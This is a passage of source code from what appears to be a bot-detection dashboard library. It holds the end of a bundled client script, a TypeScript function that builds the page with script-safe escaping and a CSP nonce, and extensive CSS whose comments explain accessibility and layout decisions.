\\\"live\\\") {\\n drawActor();\\n drawFeed();\\n drawLivePanels();\\n } else if (state.tab === \\\"actors\\\") {\\n drawActors();\\n } else if (state.tab === \\\"stats\\\") {\\n drawTraffic();\\n drawLatency();\\n drawScores();\\n drawStatsPanels();\\n if (SECTIONS.audit) drawAudit();\\n } else {\\n drawPolicyTab();\\n if (SECTIONS.notices) drawNotices();\\n if (SECTIONS.changes) drawChanges();\\n }\\n }\\n function drawNow() {\\n draw();\\n }\\n function applySections() {\\n const gated = [\\n [\\\"tiles\\\", SECTIONS.statistics],\\n [\\\"tester-panel\\\", SECTIONS.tester],\\n [\\\"ranges-panel\\\", SECTIONS.ranges],\\n [\\\"changes-panel\\\", SECTIONS.changes],\\n [\\\"actor-panel\\\", SECTIONS.actors],\\n [\\\"live-actors-panel\\\", SECTIONS.actors],\\n [\\\"audit-panel\\\", SECTIONS.audit],\\n [\\\"audit-checks-panel\\\", SECTIONS.audit],\\n [\\\"notices-panel\\\", SECTIONS.notices],\\n [\\\"guard-panel\\\", SECTIONS.guard],\\n [\\\"robots-panel\\\", SECTIONS.robots],\\n [\\\"identities-panel\\\", SECTIONS.actors],\\n [\\\"evidence-legend\\\", SECTIONS.evidence]\\n ];\\n for (const [id, enabled] of gated) {\\n const node = document.getElementById(id);\\n if (node !== null && !enabled) node.remove();\\n }\\n }\\n function start() {\\n app.draw = schedule;\\n app.drawNow = drawNow;\\n app.showTab = showTab;\\n app.syncUrl = () => syncUrl();\\n applySections();\\n initHeader();\\n drawPeers();\\n initTabs();\\n initKeyboard();\\n initRanges();\\n if (SECTIONS.feed) initFeed();\\n initActor();\\n initTester();\\n initPolicy();\\n let resizeTimer;\\n addEventListener(\\\"resize\\\", () => {\\n if (resizeTimer !== void 0) clearTimeout(resizeTimer);\\n resizeTimer = setTimeout(() => {\\n if (state.tab === \\\"stats\\\") {\\n drawTraffic();\\n drawLatency();\\n drawScores();\\n }\\n }, 120);\\n });\\n const url = readUrl();\\n state.filter = url.filter;\\n setSearch(url.search);\\n if (SECTIONS.feed) reflectFilterButtons();\\n showTab(url.tab, { replace: true });\\n void loadInitialSnapshot();\\n connectStream();\\n }\\n start();\\n})();\\n\";\n","import { CLIENT_SCRIPT } from \"./client.generated.js\";\nimport type { DashboardSections } from \"./types.js\";\n\n/**\n * The dashboard page.\n *\n * Shipped as a template rather than as a file on disk: a bundled library cannot assume\n * anything about what sits next to its own JavaScript, and a dashboard that works from\n * `src` and 404s from `dist` is the worst kind of bug to find. The markup and the CSS\n * are the template below; the behaviour is a real TypeScript module under `client/`,\n * bundled into {@link CLIENT_SCRIPT} at build time by `scripts/build-client.mjs` and\n * stamped in here. It used to be two thousand lines of JavaScript inside this string,\n * where the type-checker could not see it, Biome did not lint it and no test could\n * import a function out of it — which is how a call to a function nobody had written\n * shipped and blanked the whole Statistics tab.\n *\n * Three rules govern everything here, and all three are about the fact that this page\n * renders **attacker-supplied text**. A User-Agent is written by the client. So is the\n * path. So is anything a detector quoted into an evidence summary.\n *\n * 1. **Nothing is ever assembled into HTML.** Every value reaches the document through\n * `textContent`. There is no `innerHTML` in the page or in the bundle, and the\n * build refuses to produce one.\n * 2. **No `style` attributes.** The page is served under a nonce-based CSP, which\n * blocks inline styles; geometry is set through the CSSOM (`el.style.width`), which\n * is not a style attribute and is allowed.\n * 3. **No network access of any kind.** `default-src 'none'` and no external font,\n * script or image. Everything is here.\n */\n\nexport interface DashboardPageOptions {\n title: string;\n basePath: string;\n links: ReadonlyArray<{ label: string; href: string }>;\n allowReset: boolean;\n allowEdit: boolean;\n allowGuardEdit: boolean;\n allowActing: boolean;\n peers: ReadonlyArray<{ label: string; href: string }>;\n /** Which parts of the page this listener has. The client removes the rest of them. */\n sections: Required<DashboardSections>;\n}\n\n/**\n * Builds the page once and returns a function that stamps a per-response nonce into\n * it. The HTML is a few tens of kilobytes and identical on every request; rebuilding\n * it per view would be pure waste.\n */\nexport function renderDashboardPage(options: DashboardPageOptions): (nonce: string) => string {\n const bootstrap = escapeForScript(\n JSON.stringify(\n JSON.stringify({\n base: options.basePath === \"/\" ? \"\" : options.basePath,\n title: options.title,\n allowReset: options.allowReset,\n allowEdit: options.allowEdit,\n allowGuardEdit: options.allowGuardEdit,\n allowActing: options.allowActing,\n peers: options.peers.map((peer) => ({ label: String(peer.label), href: String(peer.href) })),\n sections: options.sections,\n links: options.links.map((link) => ({ label: String(link.label), href: String(link.href) })),\n }),\n ),\n );\n\n // Function replacements throughout, never string ones. `String.prototype.replace`\n // reads `$&`, `` $` `` and `$'` out of a *string* replacement and substitutes match\n // context for them — so a title, a link label or a minified bundle containing one of\n // those sequences would otherwise rewrite itself on the way into the page.\n const html = PAGE.replace(\"__BOOT_JSON__\", () => bootstrap)\n .replace(\"__SCRIPT__\", () => CLIENT_SCRIPT)\n .replace(/__TITLE__/g, () => escapeHtml(options.title));\n return (nonce: string) => html.replace(/__NONCE__/g, () => nonce);\n}\n\n/**\n * Makes a JSON literal safe to sit inside a `<script>` element.\n *\n * `JSON.stringify` is not enough, and the gap is not theoretical: HTML ends a script\n * element at the first `</script>` in the source, *including one inside a string\n * literal*. A caller passing that sequence as a dashboard `title` — or a link label —\n * would otherwise close the tag and open one of their own. Escaping the angle brackets\n * as `\\u003c` / `\\u003e` keeps the value identical after `JSON.parse` while making the\n * sequence unrecognisable to the HTML parser. The two line separators are the same\n * class of problem for older parsers.\n */\nfunction escapeForScript(json: string): string {\n return json\n .replace(/</g, \"\\\\u003c\")\n .replace(/>/g, \"\\\\u003e\")\n .replace(/\\u2028/g, \"\\\\u2028\")\n .replace(/\\u2029/g, \"\\\\u2029\");\n}\n\nfunction escapeHtml(value: string): string {\n return value.replace(/[&<>\"']/g, (character) => ({ \"&\": \"&amp;\", \"<\": \"&lt;\", \">\": \"&gt;\", '\"': \"&quot;\", \"'\": \"&#39;\" })[character] ?? character);\n}\n\nconst PAGE = String.raw`<!doctype html>\n<html lang=\"en\">\n<head>\n<meta charset=\"utf-8\">\n<meta name=\"viewport\" content=\"width=device-width, initial-scale=1\">\n<meta name=\"robots\" content=\"noindex, nofollow\">\n<title>__TITLE__ · bot dashboard</title>\n<style nonce=\"__NONCE__\">\n/* ---------------------------------------------------------------------------\n Tokens.\n\n The two series colours and the critical status step are the validated data\n palette: blue and orange clear every colour-vision gate against both surfaces as\n an adjacent pair, and every chart that uses them also carries a legend and a\n label, so hue is never the only thing distinguishing anything. Text never wears a\n series colour — the ink tokens below are all at least 4.5:1 on their surface.\n--------------------------------------------------------------------------- */\n:root {\n color-scheme: light;\n --page: #f4f5f7;\n --surface: #ffffff;\n --surface-2: #fafafa;\n --raised: #ffffff;\n --line: #e4e6ea;\n --line-soft: #eef0f3;\n --ink: #0b0d12;\n --ink-2: #3c414b;\n --muted: #5f646e;\n --s1: #2a78d6;\n --s2: #eb6834;\n --crit: #d03b3b;\n /* The series blue carries white text at about 3.9:1, which is under the 4.5 floor —\n fine for a bar, not for a label. Solid buttons get a darker blue of their own\n rather than a lighter series colour, because the series colour is validated for\n charts and moving it would move every chart with it. */\n --accent-solid: #1b5fb0;\n --good-text: #006300;\n /* Darker than it looks like it needs to be, and measured rather than judged. This ink\n appears on a 16%-amber chip, and that chip can sit on the open row's blue tint —\n three layers, each lightening the background under the same text. At #8a5a00 the\n suspected badge measured 3.52:1 there, under the 4.5 floor for 11px bold. */\n --warn-text: #6d4700;\n --crit-text: #b02525;\n --info-text: #1c5cab;\n --proven-text: #5b34a8;\n --grid: #eceef1;\n --shadow: 0 1px 2px rgba(11,13,18,.06), 0 1px 8px rgba(11,13,18,.04);\n --focus: #2a78d6;\n}\n@media (prefers-color-scheme: dark) {\n :root:not([data-theme=\"light\"]) {\n color-scheme: dark;\n --page: #0d0f12;\n --surface: #16181d;\n --surface-2: #1b1e24;\n --raised: #1f232a;\n --line: #272b33;\n --line-soft: #202329;\n --ink: #f2f4f7;\n --ink-2: #c4cad3;\n --muted: #8b929c;\n --s1: #3987e5;\n --s2: #d95926;\n --crit: #d03b3b;\n --accent-solid: #2364b4;\n --good-text: #4ec97a;\n --warn-text: #fab219;\n --crit-text: #ff8078;\n --info-text: #86b6ef;\n --proven-text: #b3a4f5;\n --grid: #23272e;\n --shadow: none;\n --focus: #86b6ef;\n }\n}\n:root[data-theme=\"dark\"] {\n color-scheme: dark;\n --page: #0d0f12;\n --surface: #16181d;\n --surface-2: #1b1e24;\n --raised: #1f232a;\n --line: #272b33;\n --line-soft: #202329;\n --ink: #f2f4f7;\n --ink-2: #c4cad3;\n --muted: #8b929c;\n --s1: #3987e5;\n --s2: #d95926;\n --crit: #d03b3b;\n --accent-solid: #2364b4;\n --good-text: #4ec97a;\n --warn-text: #fab219;\n --crit-text: #ff8078;\n --info-text: #86b6ef;\n --proven-text: #b3a4f5;\n --grid: #23272e;\n --shadow: none;\n --focus: #86b6ef;\n}\n\n* { box-sizing: border-box; }\nhtml, body { height: 100%; }\nbody {\n margin: 0; background: var(--page); color: var(--ink);\n font: 14px/1.55 system-ui, -apple-system, \"Segoe UI\", Roboto, sans-serif;\n -webkit-font-smoothing: antialiased;\n}\n.mono { font-family: ui-monospace, SFMono-Regular, Menlo, Consolas, monospace; }\n.tnum { font-variant-numeric: tabular-nums; }\n:focus-visible { outline: 2px solid var(--focus); outline-offset: 2px; border-radius: 6px; }\n\n/* --- header -------------------------------------------------------------\n Two rows, and the split is the whole idea.\n\n The first carries identity, connection state and the controls — everything you\n can *press*. The second carries the tab strip and, at the far end, the handful of\n configuration facts that used to sit up top wearing the same bordered pill as the\n buttons beside them. Ten identical rounded rectangles in a row, five of which did\n nothing when clicked, is not a toolbar; it is a guessing game. The facts are now\n plain text — the one treatment nothing else on the page uses for a control — and\n they fill the tab strip's empty right-hand side rather than needing room of their\n own.\n\n Nothing here has a fixed height. The old row was pinned to 54px with children that\n refused to shrink, so on a narrow window the title and the live indicator drew on\n top of each other rather than wrapping.\n------------------------------------------------------------------------- */\nheader {\n position: sticky; top: 0; z-index: 20;\n background: color-mix(in srgb, var(--surface) 92%, transparent);\n backdrop-filter: saturate(180%) blur(8px);\n border-bottom: 1px solid var(--line);\n padding: 0 20px;\n}\n.head-row { display: flex; align-items: center; gap: 10px 14px; min-height: 54px; flex-wrap: wrap; padding: 7px 0; }\n.brand { display: flex; align-items: baseline; gap: 8px; min-width: 0; }\n/* A real top-level heading, because the page had none: a screen reader's \"jump to the\n heading\" found nothing to jump to. Styled back down to the size it always was — it is\n a name in a toolbar, not a title on a poster. */\n.brand h1 { font-size: 15px; font-weight: 640; letter-spacing: -.015em; white-space: nowrap; overflow: hidden; text-overflow: ellipsis; margin: 0; }\n.brand span { color: var(--muted); font-size: 12.5px; white-space: nowrap; }\n\n/* Status, not a control: a filled pill with no border, so it never reads as pressable. */\n.live {\n display: inline-flex; align-items: center; gap: 6px; font-size: 12px; color: var(--ink-2);\n white-space: nowrap; background: color-mix(in srgb, var(--ink) 5%, transparent);\n border-radius: 999px; padding: 3px 10px 3px 8px; font-weight: 520;\n}\n.dot { width: 7px; height: 7px; border-radius: 50%; background: var(--muted); flex: none; }\n.dot.on { background: var(--good-text); box-shadow: 0 0 0 3px color-mix(in srgb, var(--good-text) 22%, transparent); }\n.dot.off { background: var(--crit-text); box-shadow: 0 0 0 3px color-mix(in srgb, var(--crit-text) 20%, transparent); }\n.grow { flex: 1 1 auto; min-width: 8px; }\n\n.head-links { display: flex; gap: 6px; flex-wrap: wrap; }\n/* A hairline between \"somewhere else\" and \"do something here\". */\n.head-actions { display: flex; gap: 6px; align-items: center; }\n.head-links:not(:empty) + .head-actions { padding-left: 12px; border-left: 1px solid var(--line); }\n\n.nav-row { display: flex; align-items: flex-end; gap: 20px; }\n.facts {\n display: flex; gap: 14px; flex-wrap: wrap; margin-left: auto;\n font-size: 11.5px; color: var(--muted); padding-bottom: 9px; min-width: 0;\n}\n.facts span { white-space: nowrap; }\n/* Sibling instances. A dashboard reports on one process, and this is the honest amount\n of help the page can give with that: a way to reach the others. */\n.peers { display: flex; gap: 6px; align-items: center; padding-bottom: 7px; flex-wrap: wrap; }\n.peers a { font-size: 11.5px; padding: 2px 8px; border-radius: 999px; }\n@media (max-width: 900px) { .peers { display: none; } }\n.facts b { font-weight: 600; color: var(--ink-2); font-variant-numeric: tabular-nums; }\n\n/* Secondary by definition, so it is the first thing to go when room runs out. */\n@media (max-width: 900px) { .facts { display: none; } }\n@media (max-width: 560px) { .brand span { display: none; } }\nbutton, .linkbtn {\n font: inherit; font-size: 12.5px; line-height: 1.4; padding: 6px 11px; border-radius: 8px;\n border: 1px solid var(--line); background: var(--surface); color: var(--ink-2);\n cursor: pointer; white-space: nowrap; text-decoration: none; display: inline-block;\n}\nbutton:hover, .linkbtn:hover { background: var(--surface-2); color: var(--ink); border-color: color-mix(in srgb, var(--ink) 22%, var(--line)); }\nbutton[aria-pressed=\"true\"] { background: color-mix(in srgb, var(--s1) 12%, var(--surface)); border-color: color-mix(in srgb, var(--s1) 45%, var(--line)); color: var(--ink); }\nbutton[disabled] { opacity: .5; cursor: default; }\n\n.tabs { display: flex; gap: 2px; margin-bottom: -1px; flex: none; }\n.tab {\n border: 0; background: none; border-bottom: 2px solid transparent; border-radius: 0;\n padding: 9px 12px; font-size: 13px; color: var(--muted); font-weight: 500;\n}\n.tab:hover { background: none; color: var(--ink); }\n.tab[aria-selected=\"true\"] { color: var(--ink); border-bottom-color: var(--s1); }\n\n/* --- layout ------------------------------------------------------------- */\nmain { padding: 18px 20px 64px; max-width: 1680px; margin: 0 auto; }\n.stack { display: grid; gap: 16px; }\n.tiles { display: grid; gap: 12px; grid-template-columns: repeat(auto-fit, minmax(148px, 1fr)); }\n.tile {\n background: var(--surface); border: 1px solid var(--line); border-radius: 12px;\n padding: 12px 14px 13px; box-shadow: var(--shadow);\n}\n.tile .v { font-size: 26px; font-weight: 620; letter-spacing: -.025em; line-height: 1.1; }\n.tile .k { font-size: 11.5px; color: var(--muted); text-transform: uppercase; letter-spacing: .055em; margin-top: 4px; font-weight: 560; }\n.tile .s { font-size: 11.5px; color: var(--muted); margin-top: 3px; }\n.tile.good .v { color: var(--good-text); }\n.tile.warn .v { color: var(--warn-text); }\n.tile.crit .v { color: var(--crit-text); }\n.tile.proven .v { color: var(--proven-text); }\n\n/* \"clip\" rather than \"hidden\", and the difference is load-bearing. Both round off the\n corners, but \"hidden\" makes the panel a scroll container — which becomes the\n containing block for anything sticky inside it, so the feed's column headers were\n anchored to a box that never scrolls and simply never stuck. They have not worked\n since they were written; the hard-coded offset above them was dead code. \"clip\"\n clips without creating a scrollport, so the headers stick to the viewport, under\n the page header, where they were always meant to. */\n.panel { background: var(--surface); border: 1px solid var(--line); border-radius: 12px; box-shadow: var(--shadow); overflow: clip; }\n.panel > h2 {\n margin: 0; padding: 12px 15px; font-size: 12px; font-weight: 620; color: var(--muted);\n text-transform: uppercase; letter-spacing: .055em; border-bottom: 1px solid var(--line);\n display: flex; align-items: center; gap: 10px;\n}\n.panel > h2 .sub { font-weight: 400; text-transform: none; letter-spacing: 0; font-size: 11.5px; margin-left: auto; }\n.two { display: grid; gap: 16px; grid-template-columns: minmax(0, 1.9fr) minmax(280px, 1fr); align-items: start; }\n.grid3 { display: grid; gap: 16px; grid-template-columns: repeat(auto-fit, minmax(300px, 1fr)); }\n@media (max-width: 1080px) { .two { grid-template-columns: minmax(0, 1fr); } }\n\n/* The feed table has a floor — six columns of request text will not go below about\n 940px — and under it the panel was simply amputating the right-hand columns.\n\n These are **container** queries, not media queries, and the difference is the whole\n fix. What the table has to fit inside is the panel, and the panel is one column of a\n two-column grid: at a 1400px viewport it is about 880px wide, so a viewport-based\n breakpoint at 980px never fires and the right-hand columns are clipped on a perfectly\n ordinary desktop. That is exactly the bug a media query was written to fix, and the\n media query was measuring the wrong box the whole time. It only appeared to work\n because five columns happened to fit.\n\n Four things happen on the way down, in the order that costs least. First the\n duration goes: it is the column people narrow a window least to read and it is still\n in the row detail. Then the timestamp, which is also still in the row detail and is\n implied by the order while the stream is live. Then the User-Agent line stops\n ellipsing and wraps, which is what actually buys the room — it takes the table's floor\n from about 100ch to about 56ch, because the cap on that one line is most of what the\n table cannot go below. Only under *that* does the table get a scrollbar of its own.\n\n The scrollbar is deliberately last and deliberately rare, and it is worth being\n precise about why, because it is the rung that gets set too high. A scroll container\n is the containing block for anything sticky inside it, so the moment it turns on the\n column headers stop tracking the viewport — and a row becomes wider than the box it\n sits in, which is enough to make it hard to click and, for a keyboard or a pointer\n being driven by a test, hard to reach at all. It cost both when it fired at 1440px on\n a wider face: the headers scrolled away with the rows and a click on a row never\n landed. Wrapping costs a line of height and nothing else, so it goes first and this\n goes last.\n\n The thresholds are in **ch**, and that is the second half of the same lesson. They\n used to be pixels, which quietly assumed a font: what six columns of request text\n actually need is set by the width of a glyph — the User-Agent below is capped in ch —\n and a hard pixel breakpoint is only correct for the font it was measured on. On this\n machine the six columns needed 951px and the breakpoint sat at 960px, so it passed by\n nine pixels; on a CI runner with a wider default face the same six columns needed more\n than the panel had, the query did not fire, and the right-hand columns were clipped on\n an ordinary 1600px desktop. The five-column rung was already over its own floor by\n 8px and nobody had noticed, because nothing measures a layout that merely looks fine.\n\n In ch, both sides move together: a wider face makes the content wider and makes the\n threshold wider by the same proportion. The floors, measured, are 119ch / 111ch /\n 100ch ellipsing and 56ch wrapped, and each rung sits above its own floor with room to\n spare so that the arithmetic does not have to be exact. */\n.feed-panel { container: feed / inline-size; }\n\n/* The rungs themselves are further down, immediately after the table's own rules, and\n they have to be: a container query adds no specificity, so an override written above\n the declaration it overrides simply loses on source order and does nothing. The wrap\n rung sat here for exactly that reason and was dead the whole time — the table never\n wrapped, its floor never dropped, and nothing said so. See \"the column ladder\" below. */\n\n/* The header's own subtitle, which is a viewport thing rather than a panel thing: it\n sits in the page header and has no container to be measured against. */\n@media (max-width: 700px) {\n .sub { white-space: normal; max-width: none; }\n}\n\n/* --- feed table --------------------------------------------------------- */\n.toolbar { display: flex; gap: 8px; align-items: center; flex-wrap: wrap; padding: 10px 15px; border-bottom: 1px solid var(--line); }\n.filters { display: flex; gap: 5px; flex-wrap: wrap; }\n.filters button { font-size: 11.5px; padding: 3px 10px; border-radius: 999px; }\ninput[type=\"search\"] {\n font: inherit; font-size: 12.5px; padding: 5px 10px; min-width: 180px; flex: 1 1 180px;\n border: 1px solid var(--line); border-radius: 8px; background: var(--surface-2); color: var(--ink);\n}\ninput[type=\"search\"]::placeholder { color: var(--muted); }\n\ntable { width: 100%; border-collapse: collapse; }\nthead th {\n /* Measured at runtime — see trackHeaderHeight(). The literal is the fallback for\n the instant before the first measurement, and for the tab strip wrapping. */\n position: sticky; top: var(--header-h, 91px); z-index: 2; background: var(--surface);\n text-align: left; font-size: 11px; font-weight: 600; color: var(--muted);\n text-transform: uppercase; letter-spacing: .05em; padding: 9px 15px; border-bottom: 1px solid var(--line);\n}\ntbody td { padding: 9px 15px; border-bottom: 1px solid var(--line-soft); vertical-align: top; }\n/* Narrow, quiet, and never the reason a row wraps: the time is for scanning down, not\n for reading across. */\ntbody td.when { color: var(--muted); font-size: 11.5px; white-space: nowrap; width: 1%; padding-right: 4px; }\ntbody tr.row { cursor: pointer; }\ntbody tr.row:hover { background: color-mix(in srgb, var(--ink) 3.5%, transparent); }\ntbody tr.row.open { background: color-mix(in srgb, var(--s1) 7%, transparent); }\ntd.edge { border-left: 3px solid transparent; padding-left: 12px; }\ntr.a-allow td.edge { border-left-color: var(--good-text); }\ntr.a-mitigate td.edge { border-left-color: var(--s2); }\ntr.a-deny td.edge { border-left-color: var(--crit); }\ntr.a-guard td.edge { border-left-color: var(--warn-text); }\n.req { font-size: 12.5px; overflow-wrap: anywhere; }\n/* The disclosure for a row.\n The whole row used to be role=\"button\", with the actor link inside it — a control\n nested in a control, which leaves a screen reader with two things to announce and no\n way to say which one Enter belongs to. The row still opens on click, because that is\n a convenience rather than a role; the keyboard gets this, which is one control with\n one name and one job. */\n.row-toggle {\n border: 0; background: none; padding: 0; margin: 0; border-radius: 4px;\n font: inherit; font-family: ui-monospace, SFMono-Regular, Menlo, Consolas, monospace;\n font-size: 12.5px; color: inherit; text-align: left; cursor: pointer; display: block; width: 100%;\n}\n.row-toggle:hover { background: none; color: inherit; border-color: transparent; }\n.req .ua { color: var(--muted); font-size: 11.5px; display: block; margin-top: 2px; white-space: nowrap; overflow: hidden; text-overflow: ellipsis; max-width: 64ch; }\n.req .ua a { color: inherit; text-decoration: none; border-bottom: 1px dotted color-mix(in srgb, var(--muted) 60%, transparent); font-family: ui-monospace, SFMono-Regular, Menlo, Consolas, monospace; }\n.req .ua a:hover { color: var(--ink); border-bottom-color: var(--ink); }\n.num { text-align: right; }\n\n/* The column ladder. Read the note beside .feed-panel above for what it is for and why\n the thresholds are in ch; this is where it has to live, below every declaration it\n overrides. */\n@container feed (max-width: 128ch) {\n thead th:nth-child(6), tbody td:nth-child(6) { display: none; }\n}\n@container feed (max-width: 119ch) {\n thead th:nth-child(1), tbody td.when { display: none; }\n}\n@container feed (max-width: 107ch) {\n .req .ua { white-space: normal; max-width: none; }\n}\n@container feed (max-width: 62ch) {\n .feed-scroll { overflow-x: auto; }\n}\n\n.badge { display: inline-block; padding: 1px 8px; border-radius: 999px; font-size: 11px; font-weight: 600; white-space: nowrap; border: 1px solid transparent; }\n.b-proven { background: color-mix(in srgb, var(--proven-text) 14%, transparent); color: var(--proven-text); }\n.b-suspected { background: color-mix(in srgb, var(--warn-text) 16%, transparent); color: var(--warn-text); }\n.b-human { background: color-mix(in srgb, var(--good-text) 14%, transparent); color: var(--good-text); }\n/* The secondary ink rather than the muted one, for the same reason as the weak tier:\n muted ink on its own muted chip is 4.31:1 on a plain row and 3.70:1 on an open one. */\n.b-unknown { background: color-mix(in srgb, var(--muted) 14%, transparent); color: var(--ink-2); }\n.act { font-weight: 600; font-size: 12.5px; }\n.act-allow { color: var(--good-text); }\n.act-mitigate { color: var(--warn-text); }\n.act-deny { color: var(--crit-text); }\n.act-tag { color: var(--ink-2); }\n.sub { color: var(--muted); font-size: 11.5px; display: block; margin-top: 2px; white-space: nowrap; overflow: hidden; text-overflow: ellipsis; max-width: 22ch; }\n.guard { color: var(--warn-text); font-size: 11.5px; display: block; margin-top: 3px; font-weight: 500; }\n\ntr.detail > td { background: var(--surface-2); padding: 14px 15px 16px; border-bottom: 1px solid var(--line); }\n.ev { display: grid; gap: 9px; }\n.ev-item { display: grid; grid-template-columns: 76px minmax(0, 1fr); gap: 12px; align-items: start; font-size: 12.5px; }\n.tier { font-size: 10px; font-weight: 700; text-transform: uppercase; letter-spacing: .05em; padding: 3px 6px; border-radius: 6px; text-align: center; }\n.t-certain { background: color-mix(in srgb, var(--proven-text) 15%, transparent); color: var(--proven-text); }\n.t-strong { background: color-mix(in srgb, var(--crit-text) 14%, transparent); color: var(--crit-text); }\n.t-moderate { background: color-mix(in srgb, var(--warn-text) 16%, transparent); color: var(--warn-text); }\n/* The secondary ink rather than the muted one: muted ink on its own muted chip clears\n 4.5:1 on the light surface and does not on the dark one, and this is 10px bold text\n saying how much a piece of evidence is worth. It still reads as the quiet tier — the\n only one with no hue — without being the one nobody can read at night. */\n.t-weak { background: color-mix(in srgb, var(--muted) 14%, transparent); color: var(--ink-2); }\n.ev-item.human .tier { background: color-mix(in srgb, var(--good-text) 14%, transparent); color: var(--good-text); }\n.ev-meta { color: var(--muted); font-size: 11.5px; margin-top: 2px; }\n.basis { margin-top: 5px; color: var(--ink-2); font-size: 12px; border-left: 2px solid color-mix(in srgb, var(--proven-text) 40%, transparent); padding: 2px 0 2px 9px; }\n.detail-foot { margin-top: 12px; padding-top: 10px; border-top: 1px solid var(--line); color: var(--muted); font-size: 11.5px; display: flex; gap: 14px; flex-wrap: wrap; }\n\n/* --- bars --------------------------------------------------------------- */\n.bars { padding: 12px 15px 14px; display: grid; gap: 8px; }\n.bar { display: grid; grid-template-columns: minmax(0, 1fr) 46px; gap: 10px; align-items: center; font-size: 12.5px; }\n.bar .track { position: relative; height: 20px; background: color-mix(in srgb, var(--ink) 5%, transparent); border-radius: 6px; overflow: hidden; }\n.bar .fill { position: absolute; inset: 0 auto 0 0; background: color-mix(in srgb, var(--s1) 26%, transparent); border-radius: 0 5px 5px 0; }\n.bar .lbl { position: relative; padding: 0 8px; line-height: 20px; white-space: nowrap; overflow: hidden; text-overflow: ellipsis; }\n.bar .v { text-align: right; color: var(--ink-2); font-size: 12px; }\n\n/* --- charts ------------------------------------------------------------- */\n.chart { padding: 12px 15px 14px; position: relative; }\n.chart svg { display: block; width: 100%; overflow: visible; }\n.legend { display: flex; gap: 14px; flex-wrap: wrap; padding: 0 15px 12px; font-size: 12px; color: var(--ink-2); }\n.legend span { display: inline-flex; align-items: center; gap: 6px; }\n/* The marker for a runtime change. A line rather than a swatch, because it is an\n instant rather than a quantity. */\n.legend .mark { width: 2px; height: 11px; background: var(--proven-text); border-radius: 1px; flex: none; }\n.swatch { width: 10px; height: 10px; border-radius: 3px; flex: none; }\n.tip {\n position: absolute; pointer-events: none; opacity: 0; transition: opacity .1s;\n background: var(--raised); border: 1px solid var(--line); border-radius: 8px;\n padding: 8px 10px; font-size: 12px; box-shadow: 0 4px 16px rgba(0,0,0,.16); z-index: 10; min-width: 128px;\n}\n.tip .t { color: var(--muted); font-size: 11px; margin-bottom: 4px; }\n.tip .r { display: flex; align-items: center; gap: 7px; justify-content: space-between; }\n.tip .r em { font-style: normal; color: var(--ink-2); display: inline-flex; align-items: center; gap: 6px; }\n.tip .r b { font-weight: 600; font-variant-numeric: tabular-nums; }\n\n.stat-row { display: flex; justify-content: space-between; gap: 12px; padding: 7px 15px; font-size: 12.5px; border-bottom: 1px solid var(--line-soft); }\n.stat-row:last-child { border-bottom: 0; }\n.stat-row .k { color: var(--muted); }\n.stat-row .v { font-variant-numeric: tabular-nums; color: var(--ink); font-weight: 560; }\n/* The baseline a window is being read against. Quieter than the current value, and\n beside it rather than under it, because the comparison is the whole point. */\n.stat-row .v .was { color: var(--muted); font-weight: 400; font-size: 11.5px; }\n.note { padding: 13px 15px; font-size: 12.5px; color: var(--ink-2); }\n.note p { margin: 0 0 9px; }\n.note p:last-child { margin: 0; }\n.note b { color: var(--ink); }\n.empty { padding: 40px 15px; text-align: center; color: var(--muted); font-size: 13px; }\n.empty code { background: color-mix(in srgb, var(--ink) 7%, transparent); padding: .15em .4em; border-radius: 5px; }\n.detectors { padding: 4px 0; }\n.det { display: grid; grid-template-columns: minmax(0,1fr) auto; gap: 10px; padding: 8px 15px; border-bottom: 1px solid var(--line-soft); font-size: 12.5px; }\n.det:last-child { border-bottom: 0; }\n.det .d { color: var(--muted); font-size: 11.5px; margin-top: 2px; }\n.det .n { color: var(--ink-2); font-variant-numeric: tabular-nums; white-space: nowrap; }\n.rules { padding: 10px 15px; display: flex; gap: 6px; flex-wrap: wrap; }\n.rules .chip { font-family: ui-monospace, SFMono-Regular, Menlo, Consolas, monospace; }\n[hidden] { display: none !important; }\n/* Present to a screen reader, absent to everyone else. Clipped rather than moved\n off-screen or hidden with display:none, both of which take an element out of the\n accessibility tree along with the viewport. */\n.sr-only { position: absolute; width: 1px; height: 1px; padding: 0; overflow: hidden; white-space: nowrap; clip-path: inset(50%); border: 0; }\n\n/* --- navigation --------------------------------------------------------- */\n/* Present for a keyboard, out of the way of everything else. */\n.skip {\n position: absolute; left: 10px; top: 10px; z-index: 40;\n background: var(--raised); color: var(--ink); border: 1px solid var(--line);\n border-radius: 8px; padding: 8px 13px; font-size: 12.5px; text-decoration: none;\n /* Hidden by clipping rather than by being moved off-screen. An element parked\n above the viewport has its whole border box outside it, and Chrome's sequential\n focus navigation skips those — so a skip link done that way is invisible to the\n one input device it exists for. Clipped to a pixel it stays in the tab order. */\n width: 1px; height: 1px; padding: 0; overflow: hidden; white-space: nowrap; clip-path: inset(50%);\n}\n.skip:focus { width: auto; height: auto; padding: 8px 13px; overflow: visible; clip-path: none; }\n\n/* A row is a control now, so it has to look like one when focused. outline-offset\n is negative because an outline drawn outside a table row is clipped by the cell. */\ntbody tr.row:focus-visible { outline: 2px solid var(--focus); outline-offset: -2px; }\ntbody tr.row:focus-visible td.edge { border-left-color: var(--focus); }\n\n.search { position: relative; display: flex; flex: 1 1 180px; min-width: 180px; }\n.search input[type=\"search\"] { flex: 1 1 auto; padding-right: 26px; }\n.search kbd {\n position: absolute; right: 7px; top: 50%; transform: translateY(-50%);\n font: 500 10.5px/1 ui-monospace, SFMono-Regular, Menlo, Consolas, monospace;\n color: var(--muted); background: color-mix(in srgb, var(--ink) 6%, transparent);\n border: 1px solid var(--line); border-radius: 4px; padding: 3px 5px; pointer-events: none;\n}\n/* The hint is an affordance for a mouse user who has not found the key yet. Once the\n box is in use it is noise, and it sits where the clear button wants to be. */\n.search input[type=\"search\"]:focus + kbd, .search input[type=\"search\"]:not(:placeholder-shown) + kbd { display: none; }\n/* --- added panels ------------------------------------------------------- */\n.range { display: flex; gap: 4px; }\n.range button { font-size: 11px; padding: 2px 8px; border-radius: 999px; }\n\n.kv { display: grid; grid-template-columns: auto 1fr; gap: 4px 14px; padding: 12px 15px; font-size: 12.5px; }\n.kv dt { color: var(--muted); }\n.kv dd { margin: 0; font-variant-numeric: tabular-nums; }\n\n.hdr { width: 100%; border-collapse: collapse; margin-top: 10px; }\n.hdr td { padding: 3px 8px 3px 0; vertical-align: top; font-family: ui-monospace, SFMono-Regular, Menlo, Consolas, monospace; font-size: 11.5px; border: 0; }\n.hdr td.n { color: var(--muted); white-space: nowrap; width: 1%; }\n.hdr td.v { overflow-wrap: anywhere; }\n.hdr td.v.red { color: var(--muted); font-style: italic; }\n\n.tools 